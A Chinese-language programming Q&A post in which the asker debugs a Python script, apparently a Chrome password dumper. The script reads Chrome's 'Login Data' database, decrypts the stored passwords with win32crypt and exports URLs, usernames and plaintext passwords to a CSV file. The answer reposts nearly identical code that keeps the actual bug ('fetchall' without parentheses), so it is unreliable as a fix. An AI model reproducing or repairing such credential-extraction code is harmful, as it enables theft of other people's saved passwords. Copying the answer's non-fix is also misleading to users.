ChromeSessionParser語法問題

Question

我遇到部分代碼遇到問題，我在底部添加了我的錯誤。問題出現在sqllite3.operationError部分。我試圖刪除它，但當我做了另一個錯誤發生的第68行'def getpath（）：'，我不明白爲什麼錯誤顯示任何和所有的幫助表示讚賞，因爲總是感謝。我的代碼一般是採取登錄數據從我的數據庫，並在csv文件顯示

import os 
import sys 
import sqlite3 
try: 
    import win32crypt 
except: 
    pass 
import argparse 



def args_parser(): 
    parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords") 
    parser.add_argument("--output", help="Output to csv file", action="store_true") 
    args = parser.parse_args() 
    if args.output: 
     csv(main()) 
    else: 
      for data in main(): 
       print (data) 



def main(): 
    info_list = [] 
    path = getpath() 
    try: 
     connection = sqlite3.connect(path + "Login Data") 
     with connection: 
      cursor = connection.cursor() 
      v = cursor.execute('SELECT action_url, username_value, password_value FROM logins') 
      value = v.fetchall 


     for information in value: 
      if os.name == 'nt': 
       password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1] 
       if password: 
        info_list.append({ 
         'origin_url': information[0], 
         'username': information[1], 
         'password': str(password) 
        }) 



    except sqlite3.OperationalError as e: 
     e = str(e) 
     if (e == 'database is locked'): 
      print('[!] Make sure Google Chrome is not running in the background') 
      sys.exit(0) 
     elif (e == 'no such table: logins'): 
      print('[!] Something wrong with the database name') 
      sys.exit(0) 
     elif (e == 'unable to open database file'): 
      print('[!] Something wrong with the database path') 
      sys.exit(0) 
     else: 
      print (e) 
      sys.exit(0) 



    return info_list 



def getpath(): 
     if os.name == "nt": 
      # This is the Windows Path 
      PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\' 
      if (os.path.isdir(PathName) == False): 
       print('[!] Chrome Doesn\'t exists') 
       sys.exit(0) 

      return PathName 



def csv (info): 
    with open ('chromepass.csv', 'wb') as csv_file: 
     csv_file.write('origin_url,username,password \n' .encode('utf')) 
     for data in info: 
      csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8')) 
    print ("Data written to Chromepass.csv") 




if __name__ == '__main__': 
    args_parser() 

錯誤

Traceback (most recent call last): 
    File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module> 
    args_parser() 
    File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser 
    for data in main(): 
    File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main 
    for information in value: 
TypeError: 'builtin_function_or_method' object is not iterable 

Answer 1

正確的做法是：

except sqlite3.OperationalError as e: 

你main()應該是這樣的：

def main(): 
    info_list = [] 
    path = getpath() 
    try: 
     connection = sqlite3.connect(path + "Login Data") 
     with connection: 
      cursor = connection.cursor() 
      v = cursor.execute('SELECT action_url, username_value, password_value FROM logins') 
      value = v.fetchall 


     for information in value: 
      if os.name == 'nt': 
       password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1] 
       if password: 
        info_list.append({ 
         'origin_url': information[0], 
         'username': information[1], 
         'password': str(password) 
        }) 



    except sqlite3.OperationalError as e: 
     e = str(e) 
     if (e == 'database is locked'): 
      print '[!] Make sure Google Chrome is not running in the background' 
      sys.exit(0) 
     elif (e == 'no such table: logins'): 
      print '[!] Something wrong with the database name' 
      sys.exit(0) 
     elif (e == 'unable to open database file'): 
      print '[!] Something wrong with the database path' 
      sys.exit(0) 
     else: 
      print e 
      sys.exit(0) 



    return info_list